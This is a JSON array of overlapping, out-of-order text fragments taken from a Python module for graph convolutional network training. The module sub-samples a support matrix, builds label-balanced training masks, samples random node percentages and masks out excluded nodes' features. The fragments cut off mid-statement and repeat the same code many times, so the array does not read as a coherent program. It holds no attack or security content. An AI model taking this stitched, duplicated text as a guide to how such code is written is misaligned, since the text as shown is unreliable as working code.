[ "(j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] =", "of ones per class that respect the % constraint for ones in ones_index:", "complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make a copy", "ones per class that respect the % constraint for ones in ones_index: random_index", "is balanced else: for ones in ones_index: train_mask[ones] = True else: random_sampling_set_size =", "sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support # Return a train mask for", "== index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array, values, complete_support[2])", "exit() random_sampling_set_size = int((percent * num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a", "mask)) # Set features of node that shouldn't be in the set to", "def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make a copy to avoid modifying", "percent): if percent > 100: print(\"This is not how percentage works.\") exit() random_sampling_set_size", "return sub_sampled_support # Return a train mask for label_percent of the trainig set.", "= True else: random_sampling_set_size = int((label_percent / 100) * train_index.shape[0]) random_list = random.sample(list(train_index),", "and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j +=", "False if maintain_label_balance: ones_index = [] for i in range(y_train.shape[1]): # find the", "matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make a copy to avoid", "# set the same number of ones for each class, so the set", "needs additional scaling? #Be carefull too not modify the initial complete support matrix", "index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array, values, complete_support[2]) return", "respect the label_percent, except for 100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index", "0).reshape(-1)]) if label_percent < 100: smaller_num = min( int(len(l) * (label_percent / 100))", "the label_percent, except for 100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index =", "compress random.seed(123) #remove columns from adj matrix. #TODO needs additional scaling? #Be carefull", "= np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j = 0 node_to_keep.sort() for index_to_keep in", "features of node that shouldn't be in the set to crazy things to", "from adj matrix. #TODO needs additional scaling? #Be carefull too not modify the", "to be kept at random. def get_random_percent(num_nodes, percent): if percent > 100: print(\"This", "train_mask[random_list] = True label_percent = (100 * np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent", "copy to avoid modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort()", "be kept at random. def get_random_percent(num_nodes, percent): if percent > 100: print(\"This is", "time import numpy as np import copy from itertools import compress random.seed(123) #remove", "each class, so the set is balanced else: for ones in ones_index: train_mask[ones]", "# make a copy to avoid modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted", "#TODO needs additional scaling? #Be carefull too not modify the initial complete support", "balanced else: for ones in ones_index: train_mask[ones] = True else: random_sampling_set_size = int((label_percent", "100: smaller_num = min( int(len(l) * (label_percent / 100)) for l in ones_index)", "are not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x", "> 0).reshape(-1)]) if label_percent < 100: smaller_num = min( int(len(l) * (label_percent /", "of the trainig set. # if maintain_label_balance, keep smallest number of labels per", "#Be carefull too not modify the initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep):", "train mask for label_percent of the trainig set. # if maintain_label_balance, keep smallest", "return list(compress(range(len(mask)), mask)) # Set features of node that shouldn't be in the", "in ones_index) # find smaller number of ones per class that respect the", "itertools import compress random.seed(123) #remove columns from adj matrix. #TODO needs additional scaling?", "how percentage works.\") exit() random_sampling_set_size = int((percent * num_nodes) / 100) return random.sample(range(num_nodes),", "class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent < 100: smaller_num = min( int(len(l)", "if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array,", "np import copy from itertools import compress random.seed(123) #remove columns from adj matrix.", "= complete_support[0][:] # make a copy to avoid modifying complete support values =", "of indexes for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features", "class that respect the % constraint for ones in ones_index: random_index = random.sample(list(ones),", "= (100 * np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns a random list", "= int((label_percent / 100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True", "train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of False if maintain_label_balance:", "< 100: smaller_num = min( int(len(l) * (label_percent / 100)) for l in", "/ 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes for the mask", "indexes for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features of", "for index_to_keep in node_to_keep: while (j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if", "note_to_keep): note_doesnt_exist = [x for x in range(features[2][0]) if x not in note_to_keep]", "# Return a train mask for label_percent of the trainig set. # if", "number of ones for each class, so the set is balanced else: for", "things to make sure they are not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep):", "len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j", "train_mask, label_percent #returns a random list of indexes of the node to be", "dtype=bool) # list of False if maintain_label_balance: ones_index = [] for i in", "be in the set to crazy things to make sure they are not", "adj matrix. #TODO needs additional scaling? #Be carefull too not modify the initial", "labels per class in training set that respect the label_percent, except for 100", "set. # if maintain_label_balance, keep smallest number of labels per class in training", "def get_random_percent(num_nodes, percent): if percent > 100: print(\"This is not how percentage works.\")", "random import time import numpy as np import copy from itertools import compress", "if percent > 100: print(\"This is not how percentage works.\") exit() random_sampling_set_size =", "mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features of node that shouldn't", "complete_support[0][:] # make a copy to avoid modifying complete support values = np.zeros(complete_support[1].shape)", "not how percentage works.\") exit() random_sampling_set_size = int((percent * num_nodes) / 100) return", "# Set features of node that shouldn't be in the set to crazy", "set is balanced else: for ones in ones_index: train_mask[ones] = True else: random_sampling_set_size", "list of indexes of the node to be kept at random. def get_random_percent(num_nodes,", "set to crazy things to make sure they are not in the gcnn", "per class in training set that respect the label_percent, except for 100 %", "for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent < 100: smaller_num =", "get_random_percent(num_nodes, percent): if percent > 100: print(\"This is not how percentage works.\") exit()", "* np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns a random list of indexes", "the same number of ones for each class, so the set is balanced", "the trainig set. # if maintain_label_balance, keep smallest number of labels per class", "= complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support #", "= min( int(len(l) * (label_percent / 100)) for l in ones_index) # find", "train_index.shape[0]) return train_mask, label_percent #returns a random list of indexes of the node", "ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent < 100: smaller_num", "= random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent = (100 * np.sum(train_mask) / train_index.shape[0])", "crazy things to make sure they are not in the gcnn def modify_features_that_shouldnt_change_anything(features,", "label_percent, except for 100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1)", "for each class, so the set is balanced else: for ones in ones_index:", "in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True # set the same", "a train mask for label_percent of the trainig set. # if maintain_label_balance, keep", "import copy from itertools import compress random.seed(123) #remove columns from adj matrix. #TODO", "label_percent of the trainig set. # if maintain_label_balance, keep smallest number of labels", "random. def get_random_percent(num_nodes, percent): if percent > 100: print(\"This is not how percentage", "from itertools import compress random.seed(123) #remove columns from adj matrix. #TODO needs additional", "number of labels per class in training set that respect the label_percent, except", "for x in range(features[2][0]) if x not in note_to_keep] a = np.where(np.isin(features[0][:, 0],", "if x not in note_to_keep] a = np.where(np.isin(features[0][:, 0], note_doesnt_exist)) features[1][a[0]] = 10000000", "at random. def get_random_percent(num_nodes, percent): if percent > 100: print(\"This is not how", "for ones in ones_index: train_mask[ones] = True else: random_sampling_set_size = int((label_percent / 100)", "not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x in", "get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features of node that shouldn't be in", "modify the initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] #", "import time import numpy as np import copy from itertools import compress random.seed(123)", "that shouldn't be in the set to crazy things to make sure they", "train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of False if maintain_label_balance: ones_index = []", "the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x in range(features[2][0]) if", "constraint for ones in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True #", "values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j = 0 node_to_keep.sort() for index_to_keep", "= index_array[:, 1].argsort() j = 0 node_to_keep.sort() for index_to_keep in node_to_keep: while (j", "the node to be kept at random. def get_random_percent(num_nodes, percent): if percent >", "1 sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support # Return a train mask", "random list of indexes of the node to be kept at random. def", "of indexes of the node to be kept at random. def get_random_percent(num_nodes, percent):", "100: print(\"This is not how percentage works.\") exit() random_sampling_set_size = int((percent * num_nodes)", ">= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support", "= np.zeros((initial_train_mask.shape), dtype=bool) # list of False if maintain_label_balance: ones_index = [] for", "ones_index: train_mask[ones] = True else: random_sampling_set_size = int((label_percent / 100) * train_index.shape[0]) random_list", "in range(features[2][0]) if x not in note_to_keep] a = np.where(np.isin(features[0][:, 0], note_doesnt_exist)) features[1][a[0]]", "(index_array, values, complete_support[2]) return sub_sampled_support # Return a train mask for label_percent of", "int((label_percent / 100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent", "int((percent * num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes", "avoid modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j =", "node_to_keep: while (j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]):", "/ 100)) for l in ones_index) # find smaller number of ones per", "maintain_label_balance, keep smallest number of labels per class in training set that respect", "smaller number of ones per class that respect the % constraint for ones", "in range(y_train.shape[1]): # find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)])", "else: random_sampling_set_size = int((label_percent / 100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list]", "else: for ones in ones_index: train_mask[ones] = True else: random_sampling_set_size = int((label_percent /", "100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape),", "for ones in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True # set", "make sure they are not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist =", "label_percent = (100 * np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns a random", "set the same number of ones for each class, so the set is", "index_to_keep in node_to_keep: while (j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep", "100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent = (100", "of False if maintain_label_balance: ones_index = [] for i in range(y_train.shape[1]): # find", "train_mask[ones] = True else: random_sampling_set_size = int((label_percent / 100) * train_index.shape[0]) random_list =", "list of False if maintain_label_balance: ones_index = [] for i in range(y_train.shape[1]): #", "ones_index) # find smaller number of ones per class that respect the %", "np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j = 0 node_to_keep.sort() for index_to_keep in node_to_keep:", "# list of False if maintain_label_balance: ones_index = [] for i in range(y_train.shape[1]):", "= True # set the same number of ones for each class, so", "# find smaller number of ones per class that respect the % constraint", "np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of False if maintain_label_balance: ones_index =", "% constraint for ones in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True", "complete support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j = 0 node_to_keep.sort()", "respect the % constraint for ones in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index]", "smaller_num = min( int(len(l) * (label_percent / 100)) for l in ones_index) #", "* (label_percent / 100)) for l in ones_index) # find smaller number of", "numpy as np import copy from itertools import compress random.seed(123) #remove columns from", "a random list of indexes of the node to be kept at random.", "that respect the % constraint for ones in ones_index: random_index = random.sample(list(ones), smaller_num)", "(index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array, values,", "= 0 node_to_keep.sort() for index_to_keep in node_to_keep: while (j < len(index_array_sorted) and index_to_keep", "num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes for the", "100)) for l in ones_index) # find smaller number of ones per class", "Return a train mask for label_percent of the trainig set. # if maintain_label_balance,", "int(len(l) * (label_percent / 100)) for l in ones_index) # find smaller number", "node to be kept at random. def get_random_percent(num_nodes, percent): if percent > 100:", "= int((percent * num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of", "to crazy things to make sure they are not in the gcnn def", "j = 0 node_to_keep.sort() for index_to_keep in node_to_keep: while (j < len(index_array_sorted) and", "per class that respect the % constraint for ones in ones_index: random_index =", "range(features[2][0]) if x not in note_to_keep] a = np.where(np.isin(features[0][:, 0], note_doesnt_exist)) features[1][a[0]] =", "= (index_array, values, complete_support[2]) return sub_sampled_support # Return a train mask for label_percent", "if maintain_label_balance: ones_index = [] for i in range(y_train.shape[1]): # find the ones", "random_sampling_set_size = int((percent * num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list", "of node that shouldn't be in the set to crazy things to make", "Set features of node that shouldn't be in the set to crazy things", "x in range(features[2][0]) if x not in note_to_keep] a = np.where(np.isin(features[0][:, 0], note_doesnt_exist))", "/ 100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent =", "a list of indexes for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) #", "index_array[:, 1].argsort() j = 0 node_to_keep.sort() for index_to_keep in node_to_keep: while (j <", "min( int(len(l) * (label_percent / 100)) for l in ones_index) # find smaller", "same number of ones for each class, so the set is balanced else:", "get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make a copy to avoid modifying complete", "random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes for the mask def get_list_from_mask(mask): return", "(100 * np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns a random list of", "node_to_keep.sort() for index_to_keep in node_to_keep: while (j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]):", "maintain_label_balance: ones_index = [] for i in range(y_train.shape[1]): # find the ones for", "scaling? #Be carefull too not modify the initial complete support matrix def get_sub_sampled_support(complete_support,", "random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent = (100 * np.sum(train_mask) /", "for l in ones_index) # find smaller number of ones per class that", "ones for each class, so the set is balanced else: for ones in", "modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j = 0", "complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support # Return", "in training set that respect the label_percent, except for 100 % def get_train_mask(label_percent,", "np.zeros((initial_train_mask.shape), dtype=bool) # list of False if maintain_label_balance: ones_index = [] for i", "for i in range(y_train.shape[1]): # find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i]", "import random import time import numpy as np import copy from itertools import", "the % constraint for ones in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] =", "number of ones per class that respect the % constraint for ones in", "support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j = 0 node_to_keep.sort() for", "random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True # set the same number of", "sure they are not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x", "except for 100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask", "get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list", "as np import copy from itertools import compress random.seed(123) #remove columns from adj", "* num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes for", "True # set the same number of ones for each class, so the", "= random.sample(list(ones), smaller_num) train_mask[random_index] = True # set the same number of ones", "that respect the label_percent, except for 100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False):", "the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent < 100:", "too not modify the initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array =", "to avoid modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:, 1].argsort() j", "in the set to crazy things to make sure they are not in", "each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent < 100: smaller_num = min(", "find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent <", "return train_mask, label_percent #returns a random list of indexes of the node to", "of labels per class in training set that respect the label_percent, except for", "(label_percent / 100)) for l in ones_index) # find smaller number of ones", "so the set is balanced else: for ones in ones_index: train_mask[ones] = True", "support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make a copy to", "i in range(y_train.shape[1]): # find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] >", "def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features of node that shouldn't be", "note_doesnt_exist = [x for x in range(features[2][0]) if x not in note_to_keep] a", "make a copy to avoid modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted =", "is not how percentage works.\") exit() random_sampling_set_size = int((percent * num_nodes) / 100)", "the set is balanced else: for ones in ones_index: train_mask[ones] = True else:", "index_array = complete_support[0][:] # make a copy to avoid modifying complete support values", "carefull too not modify the initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array", "index_array_sorted = index_array[:, 1].argsort() j = 0 node_to_keep.sort() for index_to_keep in node_to_keep: while", "random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent = (100 * np.sum(train_mask) / train_index.shape[0]) return", "label_percent #returns a random list of indexes of the node to be kept", "% def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool)", "in ones_index: train_mask[ones] = True else: random_sampling_set_size = int((label_percent / 100) * train_index.shape[0])", "sub_sampled_support # Return a train mask for label_percent of the trainig set. #", "True label_percent = (100 * np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns a", "= True label_percent = (100 * np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns", "True else: random_sampling_set_size = int((label_percent / 100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size)", "percent > 100: print(\"This is not how percentage works.\") exit() random_sampling_set_size = int((percent", "of the node to be kept at random. def get_random_percent(num_nodes, percent): if percent", "copy from itertools import compress random.seed(123) #remove columns from adj matrix. #TODO needs", "random.seed(123) #remove columns from adj matrix. #TODO needs additional scaling? #Be carefull too", "> 100: print(\"This is not how percentage works.\") exit() random_sampling_set_size = int((percent *", "smaller_num) train_mask[random_index] = True # set the same number of ones for each", "the initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make", "label_percent < 100: smaller_num = min( int(len(l) * (label_percent / 100)) for l", "works.\") exit() random_sampling_set_size = int((percent * num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size) #returns", "ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True # set the same number", "#remove columns from adj matrix. #TODO needs additional scaling? #Be carefull too not", "maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of False if", "* train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent = (100 *", "indexes of the node to be kept at random. def get_random_percent(num_nodes, percent): if", "to make sure they are not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist", "j += 1 sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support # Return a", "return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes for the mask def get_list_from_mask(mask):", "list of indexes for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set", "l in ones_index) # find smaller number of ones per class that respect", "for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features of node", "additional scaling? #Be carefull too not modify the initial complete support matrix def", "index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1", "1].argsort() j = 0 node_to_keep.sort() for index_to_keep in node_to_keep: while (j < len(index_array_sorted)", "= np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of False if maintain_label_balance: ones_index", "100) return random.sample(range(num_nodes), random_sampling_set_size) #returns a list of indexes for the mask def", "ones in ones_index: random_index = random.sample(list(ones), smaller_num) train_mask[random_index] = True # set the", "import compress random.seed(123) #remove columns from adj matrix. #TODO needs additional scaling? #Be", "random.sample(list(ones), smaller_num) train_mask[random_index] = True # set the same number of ones for", "random_sampling_set_size) train_mask[random_list] = True label_percent = (100 * np.sum(train_mask) / train_index.shape[0]) return train_mask,", "[] for i in range(y_train.shape[1]): # find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index,", "= [x for x in range(features[2][0]) if x not in note_to_keep] a =", "columns from adj matrix. #TODO needs additional scaling? #Be carefull too not modify", "in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x in range(features[2][0])", "import numpy as np import copy from itertools import compress random.seed(123) #remove columns", "training set that respect the label_percent, except for 100 % def get_train_mask(label_percent, y_train,", "#returns a list of indexes for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask))", "shouldn't be in the set to crazy things to make sure they are", "smallest number of labels per class in training set that respect the label_percent,", "kept at random. def get_random_percent(num_nodes, percent): if percent > 100: print(\"This is not", "class, so the set is balanced else: for ones in ones_index: train_mask[ones] =", "range(y_train.shape[1]): # find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if", "< len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]]", "the set to crazy things to make sure they are not in the", "initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:] # make a", "[x for x in range(features[2][0]) if x not in note_to_keep] a = np.where(np.isin(features[0][:,", "of ones for each class, so the set is balanced else: for ones", "index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support =", "def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) #", "node that shouldn't be in the set to crazy things to make sure", "for label_percent of the trainig set. # if maintain_label_balance, keep smallest number of", "list(compress(range(len(mask)), mask)) # Set features of node that shouldn't be in the set", "class in training set that respect the label_percent, except for 100 % def", "def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x in range(features[2][0]) if x not", "y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of", "0 node_to_keep.sort() for index_to_keep in node_to_keep: while (j < len(index_array_sorted) and index_to_keep >=", "not modify the initial complete support matrix def get_sub_sampled_support(complete_support, node_to_keep): index_array = complete_support[0][:]", "ones_index = [] for i in range(y_train.shape[1]): # find the ones for each", "# if maintain_label_balance, keep smallest number of labels per class in training set", "they are not in the gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for", "find smaller number of ones per class that respect the % constraint for", "i] > 0).reshape(-1)]) if label_percent < 100: smaller_num = min( int(len(l) * (label_percent", "ones in ones_index: train_mask[ones] = True else: random_sampling_set_size = int((label_percent / 100) *", "gcnn def modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x in range(features[2][0]) if x", "+= 1 sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support # Return a train", "set that respect the label_percent, except for 100 % def get_train_mask(label_percent, y_train, initial_train_mask,", "complete_support[2]) return sub_sampled_support # Return a train mask for label_percent of the trainig", "mask for label_percent of the trainig set. # if maintain_label_balance, keep smallest number", "print(\"This is not how percentage works.\") exit() random_sampling_set_size = int((percent * num_nodes) /", "percentage works.\") exit() random_sampling_set_size = int((percent * num_nodes) / 100) return random.sample(range(num_nodes), random_sampling_set_size)", "train_mask[random_index] = True # set the same number of ones for each class,", "random_sampling_set_size) #returns a list of indexes for the mask def get_list_from_mask(mask): return list(compress(range(len(mask)),", "a copy to avoid modifying complete support values = np.zeros(complete_support[1].shape) index_array_sorted = index_array[:,", "initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask = np.zeros((initial_train_mask.shape), dtype=bool) # list of False", "/ train_index.shape[0]) return train_mask, label_percent #returns a random list of indexes of the", "while (j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep == index_array[index_array_sorted[j]][1]): values[index_array_sorted[j]]", "trainig set. # if maintain_label_balance, keep smallest number of labels per class in", "matrix. #TODO needs additional scaling? #Be carefull too not modify the initial complete", "ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent < 100: smaller_num = min( int(len(l) *", "# find the ones for each class ones_index.append(train_index[np.argwhere(y_train[train_index, i] > 0).reshape(-1)]) if label_percent", "in node_to_keep: while (j < len(index_array_sorted) and index_to_keep >= index_array[index_array_sorted[j]][1]): if (index_to_keep ==", "random_sampling_set_size = int((label_percent / 100) * train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] =", "values[index_array_sorted[j]] = complete_support[1][index_array_sorted[j]] j += 1 sub_sampled_support = (index_array, values, complete_support[2]) return sub_sampled_support", "train_index.shape[0]) random_list = random.sample(list(train_index), random_sampling_set_size) train_mask[random_list] = True label_percent = (100 * np.sum(train_mask)", "if label_percent < 100: smaller_num = min( int(len(l) * (label_percent / 100)) for", "np.sum(train_mask) / train_index.shape[0]) return train_mask, label_percent #returns a random list of indexes of", "the mask def get_list_from_mask(mask): return list(compress(range(len(mask)), mask)) # Set features of node that", "for 100 % def get_train_mask(label_percent, y_train, initial_train_mask, maintain_label_balance=False): train_index = np.argwhere(initial_train_mask).reshape(-1) train_mask =", "if maintain_label_balance, keep smallest number of labels per class in training set that", "node_to_keep): index_array = complete_support[0][:] # make a copy to avoid modifying complete support", "= [] for i in range(y_train.shape[1]): # find the ones for each class", "values, complete_support[2]) return sub_sampled_support # Return a train mask for label_percent of the", "keep smallest number of labels per class in training set that respect the", "modify_features_that_shouldnt_change_anything(features, note_to_keep): note_doesnt_exist = [x for x in range(features[2][0]) if x not in", "#returns a random list of indexes of the node to be kept at" ]
